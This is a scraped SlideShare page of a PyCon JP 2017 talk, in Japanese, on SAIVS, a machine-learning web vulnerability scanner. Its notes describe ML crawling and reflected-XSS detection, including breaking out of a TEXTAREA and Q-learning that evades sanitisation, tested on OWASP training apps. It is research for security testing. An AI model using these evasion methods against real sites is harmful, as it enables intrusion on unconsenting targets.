Pythonと機械学習によるWebセキュリティの自動化

9,869 views

Published on

PYCONJP 2017.
https://pycon.jp/2017/ja/

Published in: Software
0 Comments
11 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
9,869
On SlideShare
0
From Embeds
0
Number of Embeds
971
Actions
Shares
0
Downloads
16
Comments
0
Likes
11
Embeds 0
No embeds

No notes for slide
  • 私は三井物産セキュアディレクションという日本のサイバーセキュリティ会社でセキュリティエンジニアをやっております「タカエス」と申します。
    今年の3月にシンガポールで開催されたBlack Hat Asia Arsenalに参加しており、これからお話するSAIVSと呼ぶAIを披露しました
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • Webアプリ診断において、クローリングは非常に重要です。
    こちらはとあるWebアプリの画面遷移図を表しており、ドクロマークはそのページに脆弱性があることを意味しています。
  • 例えば、「My page」にある脆弱性を見つけるためには、「Login」を通る必要があります。
    すなわち、正しくログインすることが必要になります。
  • 次に、「Complete」にある脆弱性を見つけるためには、正しく会員登録を行う必要があります。
  • このように、Webアプリに潜む脆弱性を網羅的に見つける為には、1つ1つのページを正しく遷移することが非常に重要になります。
  • これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  • これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  • これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  • ナイーブベイズとは、テキスト分類によく使われるアルゴリズムで、「分類カテゴリとキーワードを対応付けたカテゴリテーブル」と確率理論をベースにしています。
    利用例として、良く皆さまがご存知のスパムフィルタなどに使用されています。
  • 少し理解を深めるために、スパムフィルタを例にして説明します。
    メール本文から抽出したキーワードを緑丸とすると、各キーワードがSPAM/HAMのカテゴリに属する確率をカテゴリテーブルを基に求めます。
    そして、各キーワードの確率の積を求め、メール本文中のキーワード全体としてSPAM/HAMどちらに属する確率が高いのか求めます。
    この例ではSPAMの確率が高いため、これらのキーワードを含んだメールはSPAMであると分類されます。
  • 画面上にある「Sign in」「Email」「Password」といった、ページ種別を特徴付けるキーワードを基に「ログイン」ページであると認識します。
    これは、過去に様々なページとその種類を見てきた中で、人間の脳内にキーワードとページ種別を対応付けるデータベースが構築されていることで、容易に認識することができます。
    これと同じことを機械で実現するために、
  • ページのHTMLソースを解析し、ページ種別を特徴付けると思われるキーワードのみを抽出します。
    赤字で示した文字列がキーワードとなります。今回は画面上で強調されて表示されるHタグ内の文字列と、フォームの添え字に使われるFORMタグ内の文字列を抽出しています。
    なお、ソース上には大量の文字列が含まれており、ページ種別の特徴付けに寄与しない文字列も含まれています。
    そのような所謂ストップワードは除外することで、ページ種別認識の精度を高めています。
  • 各キーワードがどのカテゴリに含まれるのか求めます。
    この例では、カテゴリ「ログイン」に最も多くのキーワードが含まれるため、
  • このページは「ログイン」と認識することができます。
    このように、ナイーブベイズを使用することで、シンプルかつ強力にページ種別の認識を実現することができます。
  • 画面上に現れるメッセージ上の「errors」「doesn’t match」「invalid」などといった、遷移成否を特徴付けるキーワードを基に「遷移に失敗した」と認識します。
    勘のいい方は既に気付いたかもしれませんが、これを機械で実現するために、
  • 遷移試行の前後で差分として現れたメッセージ部分のHTMLソースを解析し、遷移成否を特徴付けると思われるキーワードのみを抽出します。
    赤字で示した文字列がキーワードとなります。
    ここでもストップワードは除外することで、遷移成否の認識精度を高めています。
  • 各キーワードがどのカテゴリに含まれるのか求めます。
    この例では、カテゴリ「遷移失敗」に最も多くのキーワードが含まれるため、
  • 「遷移試行に失敗した」と認識することができます。
  • これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  • 人間が画面遷移を行う場合、各フォームの添え字、例えば「Name」「Email」「Password」などの文字列を基に、各フォームに入力する最適な文字を判断します。
    人間は過去の経験から、各フォームに適した文字列を即座に求めることができます。
    これを機械で実現するために、
  • こちらが訓練に使用したWebアプリの一例です。
    主にOWASP Broken Web Appsに収録されているアプリを使用しています。
  • これらが、訓練で獲得した、各入力フォームに対する最適な文字列の一例です。
    このテーブルがあれば、例えば本番で「FirstName」というフォームに遭遇したとすると、その際は訓練に従って「abcdef」などの文字を入力すれば良いことになります。
    これが上手くいけば、たった1回の遷移試行で次のページに正しく遷移することができます。
  • しかし、ここでまた問題が発生します。
    それは、訓練時のフォームの添え字と、本番時のフォームの添え字がマッチしないことが起こり得ます。
    人間であれば、「Username」と「Name」が同じものを指していると認識できますが、機械ではどのように実現すれば良いでしょうか?
  • Word2Vecは自然言語処理の1手法であり、単語同士の類似度を高精度で求めることができます。
    以下の例のように、「e-mail」に対し、「email」「mail」「reply」が類似していることを求めることができます。類似度が1に近いほど、類似していることを意味します。
  • このWord2Vecも事前に学習させなければ、単語間の類似度を求めることはできません。
    Word2Vecは、学習データに含まれる、計算対象すなわち注目単語の周辺にある単語を基に、各単語の類似度を求めています。
    この例では、赤字で示した注目単語の周辺にある「send」「メアド風文字」「article」などの黒太字の単語に着目することで、「e-mail」「mail」「reply」の類似度は高いと判断します。
  • 今回は、The 20 Newsgroups data setを学習に使いました。
    これは約2万のニュースグループドキュメントが含まれており、様々なカテゴリにジャンル分けされています。
    このドキュメントの中に、Webアプリのフォームの添え字に使用されている様々な単語が含まれていたので使用することにしました。
  • この学習データセットをSAIVSに学習させることで、単語同士の類似度を習得することができます。
  • これが訓練で獲得した類似単語の一例です。
    例えば、「e-mail」に類似する単語は「email」「mail」「address」などになります。
    次に「name」に類似する単語は「names」「username」「firstname」などになります。
    本研究では、各単語の上位10個類似単語を抽出し、
  • これが訓練で獲得した類似単語の一例です。
    例えば、「e-mail」に類似する単語は「email」「mail」「address」などになります。
    次に「name」に類似する単語は「names」「username」「firstname」などになります。
    本研究では、各単語の上位10個類似単語を抽出し、
  • 訓練時と本番時の添え字の不一致問題を解決しています。
    一致した候補が保持している入力値をフォームへの入力値とします。
    これにより、訓練時と診断時の添え字の不一致問題を解決することができます。
  • ここで、これまでお話した手法を使用し、実際にWebアプリをクローリングするデモ動画をお見せしたいと思います。
    クローリング対象は、OWASP Broken Web AppsのCycloneです。
  • このWebアプリの画面遷移図はこのようになります。
    Login後にある「User Search」に脆弱性が潜んでいます。
  • 初期状態ではログインアカウントを持っていないため、各ページの種別をナイーブベイズで認識します。
    そして、ログインをスキップして最初に会員登録ページでログインアカウントを作成します。
  • この時、会員登録時の各フォームに、訓練済みのMLPを使用して最適な文字列を入力します。
  • そして、アカウント作成後にログインし、
  • 「User Search」ページにクローリングしながら脆弱性を探します。
  • こちらがデモ動画です。
    このように、人間と同じようにWebアプリをクローリングできていることが分かると思います。
  • これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  • 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  • 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  • LSTMとは、動画や音声・音楽といった時系列データの学習に使われるアルゴリズムです。
    また、文章も一つ一つの単語を一つの時間と捉えると、時系列データとして考えることができます。
  • この特徴を利用して、日英の機械翻訳や文書生成などで利用されています。
  • これは「Andrej(アンドレイ)」さんと言う方が検証したソースコード生成の例です。
    彼はLinuxのソースコードをLSTMに学習させ、LSTMがオリジナルのソースコードを生成できるのか検証を行っています。
    左が学習に使用したソースコード、右がLSTMが生成したオリジナルのソースコードです。
    これを見ても分かる通り、学習データからソースコードの特徴を学習し、起点となる文字列、ここで「static」を基に次々と後続のコードを生成していることが分かると思います。このソースコードは微妙に構文誤りがあるためそのままコンパイルはできませんが、よくコードの特徴を捉えています。
  • このようなLSTMの特徴を利用し、HTML・JavaScript構文の理解を試みました。
    例えば、パラメータ「in」の値がTEXTAREAタグ内に出力されるとします。
  • TEXTAREAタグ内に出力されるため、単純にスクリプトを入力しただけではJavaScriptを動作させることはできません。
  • 人間の診断員であれば、入力値が出力される場所に着目し、「一度TEXTAREAタグを閉じた後にスクリプトを挿入すれば、JavaScriptが動くのでは?」と考えるのが普通です。
    これは、HTML構文を理解しているからこそ思いつく考えです。
  • そこで、このようにTEXTAREAの閉じタグの後にスクリプトを付与した値を入力することで、めでたくJavaScriptを動作させることができます。
    このように、様々なXSS脆弱性を見つけるためには、HTML構文の理解が必要です。
    また、入力値はJavaScript構文内に出力されることもあるため、同じくJavaScript構文の理解が必要です。
  • そこで本研究では、無作為に選んだ幾つかのWebサイトをスクレイピングし、約2万ページ分、HTML構文12,000種類のHTMLデータを収集し、学習データとして使うことにしました。
    このように、2万ページ分も収集すれば、様々な組み合わせのHTML構文パターンを得ることができます。
  • JavaScript構文も同様に、約1万ページ分のJavaScript構文を学習データとして使うことにしました。
  • このように収集したデータをLSTMに学習させることで、文書生成の起点となるシードを与えると、それに対応する適切なHTMLまたはJavaScript構文を自動生成することができます。
    TEXTAREAタグにはTEXTAREAの閉じタグを、コメントにはコメント閉じを適切に生成できます。
    このようにLSTMを使うことで、
  • 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  • MLPとは、画像や手書き文字の分類に使われるアルゴリズムで、生物の神経回路網をシミュレートしたモデルです。
    例えば人間は、タイヤが四つ付いた鉄の塊を見れば、それが「自動車」であると即座に認識することができます。
    これは、過去に様々な自動車と言われる画像や映像を見てきたことで、目から入ったタイヤ四つの鉄の塊=自動車、と脳内で信号が伝達されることで即座に判断することができます。
    このような神経回路網の働きを模したものがMLPです。
  • 少し理解を深めるために、手書き数字認識を例にして説明します。MLPで様々な認識を行うためには、事前にMLPの学習を行う必要があります。
    この絵の左側は学習データを示しており、学習データは実際に認識を行う画像と、それに対応する答え、ラベルがセットになっています。
    この学習データを一つ一つMLPに入力していき、MLPが導き出した答えと、実際のラベルと突合し、誤り即ち差分があればその差分を補正するようにMLPの重みを調整していきます。
    この学習行為を大量に行うことで、徐々にMLPの重みが最適化されていき、
  • 例えば、この左の画像をMLPに与えると、MLPは「これは9です」と正しい答えを導き出すことが可能になります。
    これがMLPです。
  • 次にQ学習です。
    Q学習とは、エージェントと呼ばれる行動の主体が、「とある環境下」における最良な行動パターンを学習していくアルゴリズムです。
    人間が成功と失敗を繰り返しながら、徐々に成功する行動パターンを学習していくのによく似ています。
  • 「障害物を避けてゴールする」というタスクを例にしてQ学習を少し詳しく説明します。
    Q学習では、現在の状態(s)に対し、エージェントが何らかの行動(a)を取り、次の状態(s’)に変化します。
    この時、「元の状態(s)、行動(a)、次の状態(s‘)」の良し悪しを判定し、タスクの目標達成に近づいたら多くの報酬を、遠ざかったら少ない報酬を、穴に落ちたらマイナスの報酬を与えるルールにします。
    初期状態ではエージェントは学習していないため、状態(s)すなわち前に穴がある状態でランダムな行動(a)を取ります。例えば左折したとします。
    この行動の結果、ゴールに近づいたとしたら多くの報酬を与え、「前に穴がある状態で左折した」という政策の評価値(Q値)を大きく更新します。
    Q値は政策の選択確率に影響を与え、Q値が大きい政策が頻繁に選択されるようになります。
    このように、初期状態ではランダムに行動を取り、徐々に各政策のQ値を更新していくことで、タスクの終盤では、様々な状態における最良な政策すなわち行動が取れるようになります。
    そして、Q学習では、タスク内の一連の行動を通して、報酬の合計が最大化される政策を学習します。
    すなわち、目先の利益だけでなく、タスクの達成に寄与する行動を学習することが可能になります。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • 本研究では、代表的なこの5つのパターンを用意しています。
    今後、他のパターンも追加していく予定です。
  • 本研究では、代表的なこの5つのパターンを用意しています。
    こちらも、今後他のパターンも追加していく予定です。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。
    MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。
    入力を受け取ったMLPは何らかの「検査パターン」を選択します。
    そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。
    評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。
    このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。
    このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  • 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  • 最後に、これまで説明したクローリング能力と脆弱性の検出能力を組み合わせ、少し実践的なデモをお見せしたいと思います。
    デモで使うアプリはOWASP Broken Web Appsに収録されている「Google Gruyere(グルイエール)」です。
  • これがGruyereの画面遷移図です。
    「New snippet register」と「Profile update」にRXSS脆弱性が潜んでいます。
  • この脆弱性を見つけるために、まず初めに「Sign Up」でアカウントを作成し、
  • 作ったアカウントでログインし、
  • Sinippet登録ページにクローリングしながらRXSS脆弱性の検査を行います。
  • その後、Profile更新機能にクローリングし、同じくRXSS脆弱性の検査を行います。
  • それでは、さっそくデモを行いたいと思います。
  • このように、診断員の思考パターンを一つ一つ洗い出し、それらに機械学習アルゴリズムを当てはめていくことで、人間のような行動を取りながらWebアプリ診断を行える可能性があることが分かりました。
    今後は、より複雑なアプリやクローラー防止機能のCAPTCHAを乗り越える機能を付与し、クローリング能力を強化していきたいと考えています。
    また、脆弱性の検出については、より複雑なRXSSへの対応や、ロジック系を含む他の脆弱性への対応を行い、脆弱性検出能力を強化していきたいと考えています。
    そして、近い将来、SAIVSが人間と同等、もしくは人間をサポートする程の能力を獲得した際には、Webアプリ診断業務に投入していきたいと考えています。
  • 以上で私のセッションを終了します。
    ご清聴、ありがとうございました。
  • Pythonと機械学習によるWebセキュリティの自動化

    1. 1. 2017.09.08 PYCON JP 2017 Presented by Isao Takaesu Pythonと機械学習によるWebセキュリティの自動化
    2. 2. About the speaker • 職業 : セキュリティエンジニア • 所属 : 三井物産セキュアディレクション • 趣味 : 脆弱性スキャナ作り、機械学習 • ブログ: http://www.mbsd.jp/blog/ • Black Hat Asia Arsenal, CODE BLUE / 2016 • 情報セキュリティEXPO / 2017 • 勉強会「AISECjp」を主催 高江洲 勲 Takaesu Isao PYCON JP 2017 Twitter: @bbr_bbq MBSD
    3. 3. セキュリティ技術者の圧倒的な不足 PYCON JP 2017 背景 MBSD その数、約24万人 (IPA調べ)
    4. 4. 人間のみでは限界では? PYCON JP 2017 背景 MBSD
    5. 5. 情報セキュリティの完全自動化 PYCON JP 2017 研究の目的 MBSD
    6. 6. 先ずは、 Webアプリケーション診断 を自動化。 PYCON JP 2017 研究の目的 MBSD
    7. 7. Webアプリケーション診断とは… Webアプリの脆弱性を検出 PYCON JP 2017 Webアプリケーション診断とは? MBSD
    8. 8. PYCON JP 2017 Webアプリケーション診断 MBSD 診断員 Web Server Web Apps Fire wall 診断ベンダ 顧客 1. 疑似攻撃 SQLi? XSS? 2. 反応の分析 1. Webアプリをクローリングしながら疑似攻撃 2. Webアプリの反応を分析して脆弱性を判定
    9. 9. 診断員の職人技に大きく依存 それによる人手不足 PYCON JP 2017 Webアプリケーション診断の課題 MBSD
    10. 10. PYCON JP 2017 研究の最終目標 MBSD 人間の診断員のように、 Webアプリの脆弱性を検出するスキャナの開発 SAIVS Spider Artificial Intelligence Vulnerability Scanner ※現在はβ版
    11. 11. PYCON JP 2017 SAIVSの能力 MBSD ・Webアプリのクローリング ・脆弱性の検出 http://www.mbsd.jp/insight.html
    12. 12. PYCON JP 2017 SAIVSの能力 MBSD ・Webアプリのクローリング ・脆弱性の検出 http://www.mbsd.jp/insight.html
    13. 13. クローリングの重要性 MBSD Top Login Register Confirm Contact Us My Page Complete Send message 脆弱性 PYCON JP 2017 とあるWebアプリの画面遷移
    14. 14. クローリングの重要性 MBSD Top Login Register Confirm Contact Us My Page Complete 正しくログインすることが必要 Send message PYCON JP 2017
    15. 15. クローリングの重要性 MBSD Top Login Register Confirm Contact Us My Page Complete 正しく会員登録することが必要 Send message PYCON JP 2017
    16. 16. クローリングの重要性 MBSD Top Login Register Confirm Contact Us My Page Complete Send message PYCON JP 2017 網羅的に脆弱性を見つけるためには、 正しくページ遷移することが重要
    17. 17. クローリングの3要件 MBSD  ページ種別の認識 ログインか?会員登録か?  遷移成否の認識 遷移に成功したのか?失敗か?  最適文字の入力 フィールドに何を入力するのか? PYCON JP 2017
    18. 18. 使用する機械学習アルゴリズム MBSD  ページ種別の認識 ナイーブベイズ  遷移成否の認識 ナイーブベイズ  最適文字の入力 Word2Vec PYCON JP 2017
    19. 19. 使用する機械学習アルゴリズム MBSD  ページ種別の認識 ナイーブベイズ  遷移成否の認識 ナイーブベイズ  最適文字の入力 Word2Vec PYCON JP 2017
    20. 20. ナイーブベイズ? テキスト分類に使用される機械学習アルゴリズム カテゴリテーブルと確率理論を使用 MBSD 利用例)  スパムメールフィルタ  ブログ記事のカテゴリ自動分類  WAFの攻撃検知率向上 PYCON JP 2017
    21. 21. MBSD SPAM:0.672 ← こっちを選択 HAM :0.03 期間 SPAM:10% HAM :30% カテゴリ 限定 ココ クリック http:// wana.jp SPAM:40% HAM :10% SPAM:30% HAM :40% SPAM:70% HAM :50% SPAM:80% HAM :5% メール本文からキーワードを抽出 SPAM・HAMの確率を求め、確率が高いカテゴリを選択 スパムメールフィルタへの利用例 PYCON JP 2017
    22. 22. ナイーブベイズによる「ページ種別認識」 MBSD ページ種別を特徴付けるキーワードで認識 PYCON JP 2017
    23. 23. ナイーブベイズによる「ページ種別認識」 MBSD <h1>Sign in</h1> <form action="/cyclone/sessions" method="post"> <label for="email">Email</label> <input id="email" name="email" type="text" /> <label for="password">Password</label> <input id="password" name="password" type="password" /> </form> ページを特徴付けるキーワードを抽出 ストップワードは除外 PYCON JP 2017
    24. 24. ナイーブベイズによる「ページ種別認識」 MBSD カテゴリ キーワード ログイン Email, User ID, Password, Sign in … 会員登録 Email, Password, Confirm, Sign up … 検索 Word, Text, String, Sort, Search … 商品購入 Credit, Account, Expire, Purchase … パスワード変更 Password, Old Password, Change … カテゴリ「ログイン」に抽出ワードが多く含まれる ⇒「ログイン」の確率が最も高い PYCON JP 2017 ・カテゴリテーブル
    25. 25. MBSD ナイーブベイズによる「ページ種別認識」 「ログイン」と認識 PYCON JP 2017
    26. 26. MBSD ナイーブベイズによる「ページ遷移成否の認識」 遷移失敗を特徴付けるキーワードで判断 PYCON JP 2017
    27. 27. MBSD <h2>2 errors prohibited this user from being saved </h2> <p>There were problems with these fields:</p> <ul> <li> Password doesn't match confirmation </li> <li> Email is invalid </li> ["Password doesn't match confirmation","Email is invalid "] </ul> 遷移成否を特徴付けるキーワードを抽出 ストップワードは除外 ナイーブベイズによる「ページ遷移成否の認識」 PYCON JP 2017
    28. 28. ナイーブベイズによる「ページ遷移成否の認識」 MBSD カテゴリ キーワード 遷移成功 good, valid, success, normal, fine, clean, nice, can, match, confirmation, ok, finish, thank … 遷移失敗 bad, invalid, failure, error, problem, wrong, doesn’t match, can’t, too, ng, blank … カテゴリ「遷移失敗」に多く含まれる ⇒「遷移失敗」の確率が最も高い PYCON JP 2017 ・カテゴリテーブル
    29. 29. MBSD ナイーブベイズによる「ページ遷移成否の認識」 「遷移失敗」と認識 PYCON JP 2017
    30. 30. クローリングの実現方法 MBSD  ページ種別の認識 ナイーブベイズ  遷移成否の認識 ナイーブベイズ  最適文字の入力 Word2Vec PYCON JP 2017
    31. 31. MBSD Word2Vecによる「最適文字入力」 事前に様々な訓練用アプリに対し、総当たりで各フィールドに様々な値を入力。 遷移成功時のラベルと入力値を保存。 遷移 Isao Takaesu isao123@mbsd.jp mbsd1234 mbsd1234 PYCON JP 2017
    32. 32. PYCON JP 2017 訓練に使用したWebアプリ(一例) MBSD OWASP Broken Web Apps
